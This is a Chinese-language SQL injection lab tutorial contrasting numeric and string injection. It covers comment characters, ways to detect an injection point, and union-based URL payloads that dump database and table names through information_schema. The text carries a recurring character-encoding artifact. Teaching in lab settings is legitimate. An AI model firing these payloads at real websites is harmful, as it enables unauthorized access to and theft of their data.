今天主要是圍繞數(shù)字型和字符型兩中類(lèi)型介紹sql注入
數(shù)字型

靶場(chǎng)第一關(guān)
select *from user where id=1
字符型

靶場(chǎng)第二關(guān)
select *from user where id='1'
兩者的語(yǔ)句——區(qū)別在于 id=1處 的符號(hào)
數(shù)字型沒(méi)有引號(hào)閉合,字符型有引號(hào)閉合
數(shù)字型和字符型應(yīng)該可以理解了吧 一個(gè)是 int 一個(gè)是varchar
注釋符
'#'(#)
-- (--空格)
--+
%23
這些都是注釋符,可以換著使用

如果我們不閉合的話(huà),我們寫(xiě)的語(yǔ)句就是這樣的
select * from user where id='1 and 1=2 union select 1,2,3'

select * from user where id='1 and 1=2 union select 1,2,3'
select * from user where id='1' and 1=2 union select 1,2,3--+'
我們需要在id=1處 加個(gè)單引號(hào)閉合,這樣才能成為id='1'
在末尾加上--+,這樣才能注釋掉末尾的‘單引號(hào)
語(yǔ)句意思就是 查詢(xún)到id的值為字符1,并且and 1=2, 然后union select 1,2,3
加上--+ 以后末尾的單引號(hào)就不會(huì)影響 union select 語(yǔ)句



爆開(kāi)數(shù)據(jù)庫(kù)
?id=-1' union select 1,2,database() --+
爆開(kāi)數(shù)據(jù)表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆開(kāi)數(shù)據(jù)列(字段名)
自己圍繞前面給的語(yǔ)句寫(xiě)一下
爆開(kāi)flag
自己圍繞前面給的語(yǔ)句寫(xiě)一下
這里的--+也可以寫(xiě)成其他的注釋符
步驟同樣是先圍繞之前的從0開(kāi)始
先判斷是否存在注入點(diǎn)
加單引號(hào) 看與之前正常的網(wǎng)頁(yè)是否一樣,若不一樣則可能存在sql注入
and 1=1 and 1=2 兩者網(wǎng)頁(yè)是否一樣 ,若不一樣則可能存在sql注入
(加減乘除)id=2 和 id=1+1 兩者網(wǎng)頁(yè)是否一樣,若一樣則可能存在sql注入
判斷列數(shù)
這里也要注意閉合單引號(hào)